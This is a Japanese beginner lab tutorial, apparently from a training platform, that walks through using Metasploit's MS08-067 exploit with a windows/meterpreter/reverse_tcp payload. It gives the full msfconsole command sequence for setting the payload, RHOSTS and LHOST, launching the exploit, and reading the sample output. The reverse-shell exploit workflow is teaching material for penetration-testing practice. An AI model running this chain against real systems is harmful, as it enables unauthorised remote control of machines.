Metasploit でリバースシェルペイロードを使用する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、Metasploit Framework 内でリバースシェルペイロードを使用する基本的な手順を学びます。Metasploit は、エクスプロイト、ペイロード、および補助モジュールの広範なライブラリを備えた強力なペネトレーションテストツールです。

「ペイロード」とは、エクスプロイトがターゲットシステムを正常に侵害した後に、そのシステム上で実行されるコードのことです。「リバースシェル」は、侵害されたターゲットマシンが攻撃者のマシンに接続を戻すタイプのペイロードです。この手法は、ターゲットへの着信接続をブロックする可能性のあるファイアウォールを回避するために、しばしば使用されます。

ここでは windows/meterpreter/reverse_tcp ペイロードを使用します。Meterpreter は、高度で機能豊富なペイロードであり、インタラクティブなシェルを提供し、攻撃者がコマンドを実行したり、ファイルをアップロード/ダウンロードしたり、その他の多くのポストエクスプロイト活動を実行したりすることを可能にします。

この実験の終わりまでに、エクスプロイトの選択、リバースシェルペイロードの設定、および攻撃の開始に関するワークフローを理解できるようになります。

ターゲットのエクスプロイトモジュールを選択する

このステップでは、Metasploit Framework コンソールを起動し、エクスプロイトモジュールを選択します。エクスプロイトとは、システムの特定の脆弱性を悪用するコードの一部です。この実験では、教育目的で広く知られているエクスプロイトを使用します。

まず、デスクトップからターミナルを開きます。

次に、Metasploit コンソールを起動します。「サイレント」起動のために -q フラグを使用します。これにより、起動時のバナーが表示されなくなります。

msfconsole -q

Metasploit がロードされると、msf6 > プロンプトが表示されます。これは Metasploit のコマンドラインインターフェースです。

次のアクションは、エクスプロイトを選択することです。use コマンドに続けてエクスプロイトモジュールの名前を入力します。この実験では、古い Windows システム向けの古典的で信頼性の高いエクスプロイトである MS08-067 の脆弱性をターゲットとします。

msf6 > プロンプトに次のコマンドを入力します。

use exploit/windows/smb/ms08_067_netapi

Enter キーを押すと、プロンプトが変更されたことに気づくでしょう。プロンプトには選択されたエクスプロイトの名前が含まれており、このモジュールのコンテキストにいることが示されます。

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

これで、エクスプロイトモジュールを正常に選択し、設定する準備が整いました。

ペイロードを windows/meterpreter/reverse_tcp に設定する

このステップでは、選択したエクスプロイトのペイロードを設定します。ペイロードとは、エクスプロイトが成功した後にターゲットマシンで実行されるコードのことです。はじめに述べたように、リバース TCP Meterpreter ペイロードを使用します。

エクスプロイトを選択した際に Metasploit がこのペイロードにデフォルト設定されている場合があります(前のステップの出力で確認できます)が、正しいペイロードが設定されていることを確認するために、明示的に設定するのが良い習慣です。

msf6 exploit(windows/smb/ms08_067_netapi) > プロンプトで、set payload コマンドを使用します。

set payload windows/meterpreter/reverse_tcp

コマンドを実行すると、Metasploit が変更を確認します。

payload => windows/meterpreter/reverse_tcp

選択したエクスプロイトとペイロードで設定できるすべてのオプションを表示するには、show options コマンドを使用できます。これは、攻撃を開始する前に必要なパラメータを確認するための非常に役立つコマンドです。

show options

モジュールオプション、ペイロードオプション、およびエクスプロイトターゲットのリストが表示されます。次のステップで設定する RHOSTS および LHOST オプションに注目してください。

エクスプロイトの RHOSTS オプションを設定する

このステップでは、RHOSTS オプションを設定します。RHOSTS は「Remote Host(s)」の略で、攻撃したいターゲットマシンの IP アドレスを指定します。

エクスプロイトを機能させるためには、Metasploit にどこに送信するかを伝える必要があります。これらのオプションを設定するには set コマンドを使用します。

実際のシナリオでは、偵察活動を通じてターゲットの IP アドレスを特定しているはずです。この実験では、プレースホルダー IP アドレスを使用します。

msf6 exploit(...) > プロンプトで、RHOSTS10.0.2.15 に設定します。

set RHOSTS 10.0.2.15

Metasploit は RHOSTS オプションが設定されたことを確認します。

RHOSTS => 10.0.2.15

これで、Metasploit にどのマシンをターゲットにするかを伝えました。

LHOST オプションを Kali の IP アドレスに設定する

このステップでは、LHOST オプションを設定します。LHOST は「Local Host」の略で、攻撃者のマシン(あなたのマシン)の IP アドレスに設定する必要があります。これはリバースシェルにとって非常に重要なステップであり、侵害されたターゲットがどこに接続し直すかを指示します。

あなた自身のマシンの IP アドレスを見つけるには、新しいターミナルウィンドウを開く必要があります。既存の msfconsole ターミナルは閉じないでください。アプリケーションメニューから新しいターミナルを開くことができます。

新しいターミナルで、以下のコマンドを実行してネットワークインターフェース情報を表示します。

ip addr show eth0

以下のような出力が表示されます。inet のアドレスがあなたの IP アドレスです。

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

上記の例では、IP アドレスは 172.17.0.2 です。あなたの IP アドレスをメモしておいてください。

次に、msfconsole プロンプトが表示されている元のターミナルに戻ります。set コマンドを使用して、先ほど見つけた IP アドレスで LHOST を設定します。YOUR_IP_ADDRESS を実際の IP アドレスに置き換えてください。

set LHOST YOUR_IP_ADDRESS

例えば、あなたの IP が 172.17.0.2 であった場合、コマンドは以下のようになります。

set LHOST 172.17.0.2

Metasploit は設定を確認します。

LHOST => 172.17.0.2

これで、必要なすべてのオプションが設定されました。

エクスプロイトを実行し、ターゲットからのコールバックを待つ

このステップでは、すべてのオプションが設定された状態で、エクスプロイトを起動します。

exploit コマンド(またはそのエイリアスである run)は、Metasploit にリバース接続のためのリスナーを開始させ、その後 RHOSTS で指定されたターゲットにエクスプロイトを送信するように指示します。

msf6 exploit(...) > プロンプトで、以下のように入力します。

exploit

Metasploit はターゲットに対してエクスプロイトの実行を試みます。以下のような出力が表示されます。

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

重要: この実験環境では、プレースホルダー IP アドレス 10.0.2.15 に実際の脆弱なマシンが存在しないため、エクスプロイトは失敗します。「Exploit completed, but no session was created」という出力は想定内です。

もしこれが実際の脆弱なターゲットであり、エクスプロイトが成功した場合、「Meterpreter session 1 opened」のようなメッセージが表示され、プロンプトが meterpreter > に変わり、ターゲットを完全に制御できるようになります。

これで、リバースシェルペイロードを使用したエクスプロイトの設定と起動のプロセスは完了です。Metasploit を終了するには、exit と入力します。

exit

まとめ

この実験では、Metasploit Framework でリバースシェルペイロードを使用するための基本的なワークフローを学びました。

以下の主要なステップを実践しました。

  1. Metasploit コンソール (msfconsole) の起動。
  2. use コマンドによるエクスプロイトモジュールの選択。
  3. set payload コマンドによるペイロードの設定。
  4. 必要なオプション、特に RHOSTS (ターゲット) と LHOST (リスナーの IP) の設定。
  5. exploit コマンドによる攻撃の実行。

また、RHOSTSLHOST の重要な違い、そしてリバースシェルを成功させるために LHOST を正しく設定することがなぜ不可欠なのかについても学びました。このシミュレーション環境ではエクスプロイトはセッションを確立しませんでしたが、実際の攻撃に必要なすべてのコマンドを正常に実行しました。実験完了おめでとうございます!